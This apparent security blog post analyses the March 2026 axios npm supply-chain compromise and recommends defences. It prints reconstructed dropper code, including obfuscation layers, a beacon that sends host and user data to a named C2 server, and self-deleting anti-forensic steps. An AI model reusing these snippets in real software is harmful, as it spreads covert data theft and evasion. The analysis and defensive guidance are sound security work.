The Axios Supply Chain Attack: Lessons from the March 2026 npm Compromise
The Axios Supply Chain Attack: Lessons from the March 2026 npm Compromise
On March 31, 2026, one of the most sophisticated supply chain attacks in npm history unfolded. The Axios HTTP client library—a staple in virtually every JavaScript project with over 100 million weekly downloads—was compromised when attackers hijacked a maintainer account and published two malicious versions that deployed cross-platform Remote Access Trojans (RATs) to developer machines worldwide.
This post breaks down exactly what happened, how the attack worked technically, and most importantly, what you need to do to protect your organization.
The Attack at a Glance
| Detail | Information |
|---|---|
| Package | axios (100M+ weekly downloads) |
| Malicious Versions | 1.14.1, 0.30.4 |
| Attack Vector | Compromised maintainer npm account |
| Malicious Dependency | [email protected] |
| Payload | Cross-platform RAT (macOS, Windows, Linux) |
| Exposure Window | March 31, 2026, 00:21–03:20 UTC (~3 hours) |
| Attribution | UNC1069 (North Korea-nexus, financially motivated) |
| C2 Server | sfrclak.com:8000 (142.11.206.73) |
How the Attack Worked
Step 1: Account Compromise
The attacker compromised the npm account of @jasonsaayman, a lead maintainer of the Axios project. Forensic evidence shows the account's email was changed from [email protected] to [email protected]—an attacker-controlled ProtonMail address.
This wasn't a brute-force attack. The compromise likely involved credential theft, possibly through:
- Phishing targeting maintainers
- Malware on the maintainer's machine
- Session hijacking
- Previously leaked credentials from other breaches
Step 2: Pre-Staging the Payload
The attack was methodically planned over 18 hours:
2026-03-30 05:57 UTC: [email protected] published
→ Clean decoy to establish npm history
2026-03-30 23:59 UTC: [email protected] published
→ Malicious payload with postinstall hook
The attacker published [email protected] 18 hours before the main attack. This "clean" version contained legitimate crypto-js code but served a critical purpose: it established publishing history so the package wouldn't trigger "brand-new package" alerts in security scanners.
Step 3: The Payload Injection
When [email protected] and [email protected] were published, they included this innocuous-looking addition to package.json:
{
"dependencies": {
"axios": "^1.14.1",
"plain-crypto-js": "4.2.1"
}
}
Critical detail: The malicious dependency was never imported in Axios source code. It existed solely to trigger npm's automatic postinstall script execution.
Step 4: The Dropper Mechanism
When any developer or CI system ran npm install, the following chain executed:
npm install [email protected]
↓
npm resolves dependencies
↓
Downloads [email protected]
↓
Executes postinstall hook: node setup.js
↓
Dropper contacts C2 server
↓
Downloads platform-specific RAT payload
↓
Self-destructs to evade detection
Technical Deep-Dive: The Dropper
The setup.js dropper employed sophisticated obfuscation:
Layer 1: Reversed Base64 with padding substitution
// Obfuscated strings using custom encoding
const payload = atob(str.split('').reverse().join('').replace(/~/g, '='));
Layer 2: XOR cipher with hardcoded key
const key = 'OrDeR_7077';
const decrypted = encrypted.map((b, i) => b ^ key.charCodeAt(i % key.length) ^ 333);
Deobfuscated functionality:
// Platform detection
const platform = os.platform();
// C2 communication
const c2Server = 'sfrclak.com:8000';
const victimId = crypto.randomBytes(8).toString('hex');
// System fingerprinting
const sysInfo = {
hostname: os.hostname(),
username: os.userInfo().username,
platform: platform,
arch: os.arch(),
version: os.release(),
processes: getRunningProcesses()
};
// Beacon to C2 every 60 seconds
setInterval(() => {
fetch(`http://${c2Server}/beacon`, {
method: 'POST',
headers: { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows XP)' },
body: JSON.stringify({ victimId, ...sysInfo })
});
}, 60000);
Platform-Specific Payloads
macOS Payload
- Drop location:
/Library/Caches/com.apple.act.mond(masquerading as Apple daemon) - Capabilities:
- File system enumeration (
/Applications,~/Library) - Process injection via
codesign --force --deep --sign - - AppleScript execution
- Screenshot capture
- Keylogging
- File system enumeration (
Windows Payload
- Drop location:
%PROGRAMDATA%\wt.exe(masquerading as Windows Terminal) - Execution: Hidden PowerShell with execution policy bypass
- Capabilities:
- Registry manipulation
- Persistence via scheduled tasks
- Credential harvesting
- Lateral movement
Linux Payload
- Drop location:
/tmp/ld.py - Execution:
nohup python3 /tmp/ld.py &(orphaned process) - Capabilities:
- SSH key exfiltration
- Sudo privilege escalation attempts
- Container escape attempts
Step 5: Self-Destruction
After execution, the malware performed anti-forensics:
// Delete the dropper
fs.unlinkSync('setup.js');
// Replace malicious package.json with clean decoy
fs.renameSync('package.md', 'package.json');
// Remove npm cache entries
try {
execSync('npm cache clean --force');
} catch(e) {}
The result: a developer inspecting node_modules/plain-crypto-js after installation would find a seemingly legitimate package with no obvious signs of compromise.
The Detection Breakthrough
The attack was detected through multiple converging signals:
StepSecurity AI Package Analysis
StepSecurity's AI Package Analyst flagged both versions within minutes of publication:
Alert: Anomalous dependency chain detected
Package: [email protected]
New dependency: [email protected]
Risk factors:
- Package not imported in source code
- First appearance in dependency tree
- Postinstall script present
- Suspicious C2 network activity
Harden-Runner CI Detection
Harden-Runner (used by 12,000+ public repos) detected the C2 callback during CI runs:
# Example detected in backstage repository
- Run: npm install
Network Events:
- Outbound connection to sfrclak.com:8000
- Protocol: HTTP
- User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows XP)
- Anomaly: Never seen in previous workflow runs
npm Registry Metadata Analysis
Security researchers identified the smoking gun in npm metadata:
// Legitimate release ([email protected])
{
"publishConfig": {
"provenance": true
},
"gitHead": "a1b2c3d...",
"_npmUser": "jasonsaayman"
}
// Malicious release ([email protected])
{
// Missing: provenance, gitHead
// Changed: email to [email protected]
"_npmUser": "jasonsaayman" // Same username, different credentials
}
The shift from OIDC Trusted Publisher (cryptographically verified GitHub Actions) to manual CLI publish with a changed email was the tell.
Immediate Actions Required
If You Installed Axios During the Window
Assume compromise. The RAT was active and beaconing within 2 seconds of installation.
- Isolate the affected system immediately
- Rotate all credentials that touched the system:
- SSH keys
- API tokens
- npm/Node.js registry tokens
- Cloud provider credentials
- Database credentials
- Audit for lateral movement:
- Check authentication logs
- Review recent deploys
- Scan for persistence mechanisms
- Reimage the machine or perform complete OS reinstallation
Audit Your Dependencies
# Check if you have the malicious versions
grep -r "axios.*1\.14\.1\|axios.*0\.30\.4" package*.json yarn.lock
# Check for the malicious dependency
grep -r "plain-crypto-js" package*.json yarn.lock
# Use Snyk CLI
npx snyk test --severity-threshold=high
# Check Snyk advisory
# SNYK-JS-AXIOS-15850650
# SNYK-JS-PLAINCRYPTOJS-15850652
Verify Your Lockfiles
# Check axios version in lockfile
npm list axios
yarn list axios
pnpm list axios
# If using 1.14.1 or 0.30.4:
# 1. Delete node_modules
# 2. Delete lockfile
# 3. Update to safe version
# 4. Reinstall
npm install [email protected] # or latest safe version
Defense Strategies
1. Implement Dependency Pinning
Never use floating versions in production:
// ❌ Dangerous
{
"dependencies": {
"axios": "^1.14.0"
}
}
// ✅ Safe
{
"dependencies": {
"axios": "1.14.0"
}
}
Commit your lockfile and verify it in CI:
# .github/workflows/ci.yml
- name: Verify lockfile
run: |
if ! git diff --exit-code package-lock.json; then
echo "Lockfile changed during install. Potential attack."
exit 1
fi
2. Use Private Registry Proxies
Proxy npm through a private registry that can block malicious packages:
// .npmrc
registry=https://your-private-registry.company.com
// With package filtering
@axios:registry=https://registry.npmjs.org
// Block known malicious packages
// Configure via registry dashboard
3. Enable Post-Install Script Controls
# npm
npm config set ignore-scripts true
npm install
npm run build # Run scripts explicitly after review
# yarn
yarn install --ignore-scripts
# pnpm
pnpm install --ignore-scripts
4. Implement Network Monitoring in CI
Use Harden-Runner or similar tools to detect anomalous outbound connections:
- uses: step-security/harden-runner@v2
with:
egress-policy: block
allowed-endpoints: |
registry.npmjs.org:443
github.com:443
*.s3.amazonaws.com:443
5. Registry Metadata Monitoring
Monitor for suspicious changes:
// Watch for:
// - Email changes in maintainer accounts
// - New dependencies appearing
// - Version bumps without corresponding git tags
// - Publish method changes (OIDC → CLI)
const axiosMetadata = await fetch('https://registry.npmjs.org/axios');
const latest = axiosMetadata.versions['1.14.1'];
if (latest._npmUser.email !== '[email protected]') {
alert('Potential compromise detected');
}
6. Use Software Composition Analysis (SCA)
Tools like Snyk, Dependabot, and npm audit provide real-time alerts:
# Snyk
npm install -g snyk
snyk test
snyk monitor # Continuous monitoring
# Dependabot (GitHub)
# Enable in repository settings
# npm audit
npm audit --audit-level=high
Long-Term Strategic Changes
For Package Maintainers
- Enable 2FA on all npm accounts (mandatory)
- Use npm's "publish with provenance" for all releases
- Maintain multiple maintainers with independent access
- Monitor for unauthorized publishes via webhooks
- Implement package signing with Sigstore
For Organizations
- Vendor your critical dependencies
- Fork packages to your private registry
- Review all updates before adoption
- Pin to your own versions
- Implement supply chain security platforms
- StepSecurity
- Socket.dev
- Phylum
- Build security into the SDLC
- Pre-commit hooks for dependency scanning
- CI gates for vulnerability detection
- Automated SBOM generation
- Create incident response playbooks
- Supply chain compromise scenarios
- Rapid dependency rollback procedures
- Credential rotation workflows
The Bigger Picture: Supply Chain Security in 2026
This attack represents a new level of sophistication:
- Pre-staging: 18-hour preparation window
- Multi-platform: Simultaneous macOS, Windows, Linux payloads
- Dual-branch: Both 1.x and 0.x release lines targeted
- Self-destructing: Anti-forensics to evade detection
- Nation-state grade: Attributed to UNC1069 (North Korea)
The attackers understood npm's trust model intimately:
- They knew about postinstall hooks
- They understood how to evade "new package" alerts
- They exploited the gap between npm install and security scanning
Industry Response
Following this incident, several initiatives are accelerating:
- npm is expanding package signing requirements
- GitHub is mandating 2FA for all npm publishers
- New SLSA (Supply-chain Levels for Software Artifacts) requirements
- Increased adoption of private registry proxies
Conclusion
The Axios compromise demonstrates that even the most trusted, widely-used packages can become attack vectors. The attackers didn't exploit a vulnerability in Axios code—they exploited the trust we place in the entire npm ecosystem.
Key takeaways:
- Trust but verify: Even popular packages need scrutiny
- Lockfiles are critical: They prevent silent updates to malicious versions
- CI security matters: Your build pipeline is an attack surface
- Speed of response: The ~3-hour window could have been devastating without rapid detection
- Defense in depth: No single control is sufficient
The JavaScript ecosystem moves fast, but attackers move faster. Building resilience requires technical controls, process discipline, and constant vigilance.
Need help securing your JavaScript supply chain? Contact Tropical Media for a comprehensive dependency security audit and implementation roadmap.
Resources
The Model Context Protocol (MCP): Your Complete Business Guide to AI Agent Integration
Learn how Anthropic's Model Context Protocol is revolutionizing business automation. Discover practical implementations with n8n, OpenClaw, and MCP servers to connect AI agents to your existing tools and data systems.
Self-Hosted AI Automation: Building Private LLM Workflows with n8n and Ollama
A comprehensive guide to building self-hosted AI automation workflows using n8n and Ollama. Learn how to run local LLMs, create agentic workflows, and maintain complete data privacy while reducing AI infrastructure costs.